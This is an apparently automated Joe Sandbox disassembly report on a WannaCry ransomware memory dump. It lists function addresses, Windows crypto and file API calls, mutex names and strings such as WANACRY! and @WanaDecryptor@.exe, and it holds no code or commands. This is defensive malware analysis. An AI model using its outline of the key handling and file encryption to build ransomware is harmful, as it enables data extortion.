Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003AC0, Relevance: 4.6, APIs: 3, Instructions: 97

APIs

Part of subcall function 10003A80: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,76E76DBE,76E76DBE,10003D9E,?,76E76DBE,00000000), ref: 10003A9D

CryptImportKey.ADVAPI32(?,1000D054,00000114,?,?,00000008,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003AF9

Part of subcall function 10003C00: CryptDestroyKey.ADVAPI32(?,?,00000000,10003B1E,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003C0F

CryptImportKey.ADVAPI32(?,1000CF40,00000114,00000000,00000000,0000000C,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003B36

Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BBB
Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BD0
Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BE7

Part of subcall function 10004350: CryptGenKey.ADVAPI32(?,00000001,08000001,?,10003B4D,?,00000008), ref: 10004361

Part of subcall function 10004040: CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 10004087
Part of subcall function 10004040: GlobalAlloc.KERNEL32(00000000,00000008), ref: 1000409E
Part of subcall function 10004040: CryptExportKey.ADVAPI32(?,00000000,?,00000000,00000000,00000008), ref: 100040C0
Part of subcall function 10004040: _local_unwind2.MSVCRT ref: 100040D0
Part of subcall function 10004040: CreateFileA.KERNEL32(10003B63,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10004101
Part of subcall function 10004040: WriteFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 10004122
Part of subcall function 10004040: _local_unwind2.MSVCRT ref: 10004132

Part of subcall function 10003C40: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10003CA3
Part of subcall function 10003C40: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000008), ref: 10003CB8
Part of subcall function 10003C40: WriteFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 10003CD3
Part of subcall function 10003C40: WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 10003CE3
Part of subcall function 10003C40: GlobalFree.KERNEL32(00000000), ref: 10003CE7

CryptDestroyKey.ADVAPI32(?,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003B9D

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003C00, Relevance: 1.5, APIs: 1, Instructions: 20

APIs

CryptDestroyKey.ADVAPI32(?,?,00000000,10003B1E,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003C0F

Part of subcall function 10003F00: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
Part of subcall function 10003F00: GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
Part of subcall function 10003F00: GlobalAlloc.KERNEL32(00000000,00000000), ref: 10003F8A
Part of subcall function 10003F00: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 10003FA2
Part of subcall function 10003F00: CryptImportKey.ADVAPI32(76E76DBE,00000000,?,00000000,00000000,?), ref: 10003FC5
Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10003FD5
Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10004017

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004350, Relevance: 1.5, APIs: 1, Instructions: 11

APIs

CryptGenKey.ADVAPI32(?,00000001,08000001,?,10003B4D,?,00000008), ref: 10004361

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001960, Relevance: 75.8, APIs: 41, Strings: 2, Instructions: 598

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 10001A21
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 10001A57
GetFileSizeEx.KERNEL32(00000000,?,?,?), ref: 10001A7C
GetFileTime.KERNEL32(00000000,?,?,?,?,?), ref: 10001AA7
ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 10001AC0
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 10001B00
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 10001B3A
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 10001B5D
_local_unwind2.MSVCRT ref: 10001B78
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,?,?), ref: 10001BAB
swprintf.MSVCRT(?,%s%s,?,1000CBE4,?,?), ref: 10001BCC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10001BEE
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 10001C1A
ReadFile.KERNEL32(?,?,00010000,?,00000000), ref: 10001C71
SetFilePointer.KERNEL32(?,00000000,00000000,00000002,?,?), ref: 10001C96
WriteFile.KERNEL32(?,?,00010000,?,00000000), ref: 10001CAE
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 10001CDF
WriteFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10001CFB
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 10001D20
rand.MSVCRT ref: 10001D54

Part of subcall function 10004370: EnterCriticalSection.KERNEL32(?,00000010,?,?,?,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 100043CA
Part of subcall function 10004370: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,10001DBA,?,00000000,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 100043E7
Part of subcall function 10004370: LeaveCriticalSection.KERNEL32(?,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 100043F2
Part of subcall function 10004370: LeaveCriticalSection.KERNEL32(?,?,?,10001DBA,?,00000010,?,00000200,?,?), ref: 10004401

Part of subcall function 10005DC0: ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 10005DDF
Part of subcall function 10005DC0: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005DEF
Part of subcall function 10005DC0: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E18
Part of subcall function 10005DC0: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E28
Part of subcall function 10005DC0: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E51
Part of subcall function 10005DC0: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E61

WriteFile.KERNEL32(?,WANACRY!,00000008,00010000,00000000), ref: 10001E22
WriteFile.KERNEL32(?,00000200,00000004,00010000,00000000), ref: 10001E43
WriteFile.KERNEL32(?,?,00000200,00010000,00000000), ref: 10001E69
WriteFile.KERNEL32(?,00000004,00000004,00010000,00000000), ref: 10001E87
WriteFile.KERNEL32(?,?,00000008,00010000,00000000), ref: 10001EA8
SetFilePointer.KERNEL32(?,FFFF0000,00000000,00000002,?,?), ref: 10001EEF
ReadFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10001F0B
WriteFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10001F5C
SetFilePointer.KERNEL32(?,00010000,00000000,00000000,?,?), ref: 10001F84
ReadFile.KERNEL32(?,?,00100000,00010000,00000000), ref: 10001FE8

Part of subcall function 10006940: ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006959
Part of subcall function 10006940: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006969
Part of subcall function 10006940: ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006A54
Part of subcall function 10006940: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006A64
Part of subcall function 10006940: ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006B1F
Part of subcall function 10006940: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B2F
Part of subcall function 10006940: ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8D0), ref: 10006B85
Part of subcall function 10006940: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B95

WriteFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10002072
_local_unwind2.MSVCRT ref: 1000208E
SetFileTime.KERNELBASE(?,?,?,?,?,?), ref: 100020CD
CloseHandle.KERNEL32(?), ref: 100020DA
CloseHandle.KERNEL32(?), ref: 100020E1
MoveFileW.KERNEL32(?,?), ref: 10002101
SetFileAttributesW.KERNELBASE(?,00000080,?,?), ref: 10002119
DeleteFileW.KERNEL32(?,?,?), ref: 10002128
CloseHandle.KERNEL32(?), ref: 10002130
MoveFileW.KERNEL32(?,?), ref: 1000214D
_local_unwind2.MSVCRT ref: 1000218F

Strings

%s%s, xrefs: 10001BC0
WANACRY!, xrefs: 10001AD3, 10001E1C

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005AE0, Relevance: 59.7, APIs: 28, Strings: 6, Instructions: 223

APIs

Part of subcall function 10004690: CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
Part of subcall function 10004690: GetLastError.KERNEL32(?,10005B11), ref: 100046A6
Part of subcall function 10004690: CloseHandle.KERNEL32(00000000), ref: 100046B4

GetModuleFileNameW.KERNEL32(?,?,00000103), ref: 10005B45
wcsrchr.MSVCRT ref: 10005B58
wcsrchr.MSVCRT ref: 10005B68
SetCurrentDirectoryW.KERNEL32(?), ref: 10005B75

Part of subcall function 10001000: fopen.MSVCRT ref: 1000101B
Part of subcall function 10001000: fread.MSVCRT ref: 1000103B
Part of subcall function 10001000: fwrite.MSVCRT ref: 10001048
Part of subcall function 10001000: fclose.MSVCRT ref: 10001056
Part of subcall function 10001000: fclose.MSVCRT ref: 10001064

Part of subcall function 100012D0: GetUserNameW.ADVAPI32 ref: 10001321
Part of subcall function 100012D0: _wcsicmp.MSVCRT ref: 10001331

Part of subcall function 10003410: LoadLibraryA.KERNEL32(kernel32.dll), ref: 10003433
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,CreateFileW,?), ref: 10003450
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,WriteFile), ref: 1000345D
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,ReadFile), ref: 1000346A
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 10003477
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 10003484
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 10003491
Part of subcall function 10003410: GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 1000349E

sprintf.MSVCRT ref: 10005BBA
sprintf.MSVCRT ref: 10005BCA
sprintf.MSVCRT ref: 10005BDA

Part of subcall function 10004600: OpenMutexA.KERNEL32(00100000,00000001,Global\MsWinZonesCacheCounterMutexW), ref: 10004610
Part of subcall function 10004600: CloseHandle.KERNEL32(00000000), ref: 1000461B
Part of subcall function 10004600: sprintf.MSVCRT ref: 1000463F
Part of subcall function 10004600: CreateMutexA.KERNELBASE(00000000,00000001,?), ref: 10004651
Part of subcall function 10004600: GetLastError.KERNEL32 ref: 1000465D
Part of subcall function 10004600: CloseHandle.KERNEL32(00000000), ref: 1000466B

CloseHandle.KERNEL32(00000000), ref: 10005D5E

Part of subcall function 10004500: sprintf.MSVCRT ref: 10004528
Part of subcall function 10004500: GetFileAttributesA.KERNEL32(?), ref: 1000453C
Part of subcall function 10004500: GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548

??2@YAPAXI@Z.MSVCRT ref: 10005C00
CloseHandle.KERNEL32(00000000), ref: 10005D3B

Part of subcall function 10003A10: InitializeCriticalSection.KERNEL32(?,76E76DBE,10004558), ref: 10003A28

Part of subcall function 10003AC0: CryptImportKey.ADVAPI32(?,1000D054,00000114,?,?,00000008,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003AF9
Part of subcall function 10003AC0: CryptImportKey.ADVAPI32(?,1000CF40,00000114,00000000,00000000,0000000C,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003B36
Part of subcall function 10003AC0: CryptDestroyKey.ADVAPI32(?,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003B9D

Part of subcall function 100046D0: CreateFileA.KERNEL32(00000000.res,80000000,00000001,00000000,00000003,00000000,00000000), ref: 100046E6
Part of subcall function 100046D0: ReadFile.KERNEL32(00000000,1000DC68,00000088,?,00000000), ref: 10004712
Part of subcall function 100046D0: CloseHandle.KERNEL32(00000000), ref: 10004719

DeleteFileA.KERNELBASE(00000000.res,00000000.pky,00000000.eky), ref: 10005C66

Part of subcall function 10004420: CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E

Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BBB
Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BD0
Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BE7

CreateThread.KERNEL32(00000000,00000000,10004790,00000000,00000000,00000000), ref: 10005CAE
CloseHandle.KERNEL32(00000000), ref: 10005CBB
Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005CC5
CreateThread.KERNEL32(00000000,00000000,100045C0,00000000,00000000,00000000), ref: 10005CD1
CloseHandle.KERNEL32(00000000), ref: 10005CD8
Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005CDC
CreateThread.KERNEL32(00000000,00000000,10005730,00000000,00000000,00000000), ref: 10005CE8
Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005CEE
CreateThread.KERNEL32(00000000,00000000,10005300,00000000,00000000,00000000), ref: 10005CFF
CloseHandle.KERNEL32(00000000), ref: 10005D06
Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005D0A
CreateThread.KERNEL32(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D1B
CloseHandle.KERNEL32(00000000), ref: 10005D22
Sleep.KERNEL32(00000064,?,1000DC68,00000008), ref: 10005D26

Part of subcall function 100057C0: GetFileAttributesA.KERNEL32(f.wnry,00000000.pky,10005340,1000DD8C,76E6DE72), ref: 10005819
Part of subcall function 100057C0: time.MSVCRT ref: 1000583D
Part of subcall function 100057C0: sprintf.MSVCRT ref: 1000585F
Part of subcall function 100057C0: InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100058C1
Part of subcall function 100057C0: GetLogicalDrives.KERNEL32 ref: 1000591C
Part of subcall function 100057C0: GetDriveTypeW.KERNEL32(?), ref: 10005964
Part of subcall function 100057C0: GetDriveTypeW.KERNEL32(?), ref: 10005977
Part of subcall function 100057C0: InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100059A4
Part of subcall function 100057C0: sprintf.MSVCRT ref: 100059DD
Part of subcall function 100057C0: time.MSVCRT ref: 100059F6
Part of subcall function 100057C0: sprintf.MSVCRT ref: 10005A1F
Part of subcall function 100057C0: GetDriveTypeW.KERNEL32(?), ref: 10005A7D
Part of subcall function 100057C0: Sleep.KERNEL32(0000EA60), ref: 10005A98

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10005D34
CreateThread.KERNEL32(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D4C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10005D57

Strings

%08X.pky, xrefs: 10005BC0
00000000.eky, xrefs: 10005BD5, 10005C37
%08X.res, xrefs: 10005BB0
00000000.res, xrefs: 10005BB5, 10005C61
%08X.eky, xrefs: 10005BD0
00000000.pky, xrefs: 10005BC5, 10005C3C

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004600, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46

APIs

OpenMutexA.KERNEL32(00100000,00000001,Global\MsWinZonesCacheCounterMutexW), ref: 10004610
CloseHandle.KERNEL32(00000000), ref: 1000461B
sprintf.MSVCRT ref: 1000463F
CreateMutexA.KERNELBASE(00000000,00000001,?), ref: 10004651
GetLastError.KERNEL32 ref: 1000465D
CloseHandle.KERNEL32(00000000), ref: 1000466B

Part of subcall function 100013E0: GetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,?,00000000,?), ref: 1000140A
Part of subcall function 100013E0: SetEntriesInAclA.ADVAPI32 ref: 1000145E
Part of subcall function 100013E0: SetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,00000001,00000000), ref: 10001471
Part of subcall function 100013E0: LocalFree.KERNEL32(?), ref: 10001482
Part of subcall function 100013E0: LocalFree.KERNEL32(00000001), ref: 10001489
Part of subcall function 100013E0: LocalFree.KERNEL32(?), ref: 10001490

Strings

Global\MsWinZonesCacheCounterMutexA, xrefs: 10004634
Global\MsWinZonesCacheCounterMutexW, xrefs: 10004604
%s%d, xrefs: 10004639

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001080, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68

APIs

CreateProcessA.KERNEL32 ref: 100010D3
WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
CloseHandle.KERNEL32(?), ref: 10001121
CloseHandle.KERNEL32(?), ref: 10001128

Strings

D, xrefs: 10001090

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005340, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46

APIs

fopen.MSVCRT ref: 10005390
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000026B,00000000,00000000), ref: 100053BB
fprintf.MSVCRT ref: 100053CC
fclose.MSVCRT ref: 100053D3

Strings

%s, xrefs: 100053C6
f.wnry, xrefs: 1000538B

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001000, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42

APIs

fopen.MSVCRT ref: 1000101B
fread.MSVCRT ref: 1000103B
fwrite.MSVCRT ref: 10001048
fclose.MSVCRT ref: 10001056
fclose.MSVCRT ref: 10001064

Strings

c.wnry, xrefs: 10001016

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100013E0, Relevance: 9.1, APIs: 6, Instructions: 65

APIs

GetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,?,00000000,?), ref: 1000140A
SetEntriesInAclA.ADVAPI32 ref: 1000145E
SetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,00000001,00000000), ref: 10001471
LocalFree.KERNEL32(?), ref: 10001482
LocalFree.KERNEL32(00000001), ref: 10001489
LocalFree.KERNEL32(?), ref: 10001490

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10002F70, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40

APIs

GetTempFileNameW.KERNELBASE(?,~SD,00000000,00000000), ref: 10002FA1
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000002,00000000), ref: 10002FBB
CloseHandle.KERNEL32(00000000), ref: 10002FC8
DeleteFileW.KERNELBASE(00000000), ref: 10002FD3

Strings

~SD, xrefs: 10002F9B

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003C40, Relevance: 7.6, APIs: 5, Instructions: 77

APIs

Part of subcall function 10004170: CryptExportKey.ADVAPI32(?,00000000,?,00000000,?,?,00000008,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041AD
Part of subcall function 10004170: CryptGetKeyParam.ADVAPI32(?,00000008,?,?,00000000,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100041DF
Part of subcall function 10004170: GlobalAlloc.KERNEL32(00000000,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 10004229
Part of subcall function 10004170: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,?,?,?,?,?,10003C7F,?,?,?,00000007,00000000), ref: 100042BA
Part of subcall function 10004170: GlobalFree.KERNEL32(?), ref: 10004320

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10003CA3
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000008), ref: 10003CB8
WriteFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 10003CD3
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 10003CE3
GlobalFree.KERNEL32(00000000), ref: 10003CE7

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004730, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31

APIs

CreateFileA.KERNEL32(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10004749
WriteFile.KERNEL32(00000000), ref: 10004775
CloseHandle.KERNEL32(00000000), ref: 1000477C

Strings

00000000.res, xrefs: 10004744

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100046D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31

APIs

CreateFileA.KERNEL32(00000000.res,80000000,00000001,00000000,00000003,00000000,00000000), ref: 100046E6
ReadFile.KERNEL32(00000000,1000DC68,00000088,?,00000000), ref: 10004712
CloseHandle.KERNEL32(00000000), ref: 10004719

Strings

00000000.res, xrefs: 100046E1

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004690, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19

APIs

CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
GetLastError.KERNEL32(?,10005B11), ref: 100046A6
CloseHandle.KERNEL32(00000000), ref: 100046B4

Strings

MsWinZonesCacheCounterMutexA, xrefs: 10004691

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16

APIs

swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 1000329A
CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000001), ref: 100032AF

Strings

@WanaDecryptor@.exe, xrefs: 1000328E, 100032AA
%s\%s, xrefs: 10003294

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003240, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16

APIs

swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 1000325A
CopyFileW.KERNEL32(@WanaDecryptor@.exe.lnk,?,00000001), ref: 1000326F

Strings

%s\%s, xrefs: 10003254
@WanaDecryptor@.exe.lnk, xrefs: 1000324E, 1000326A

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

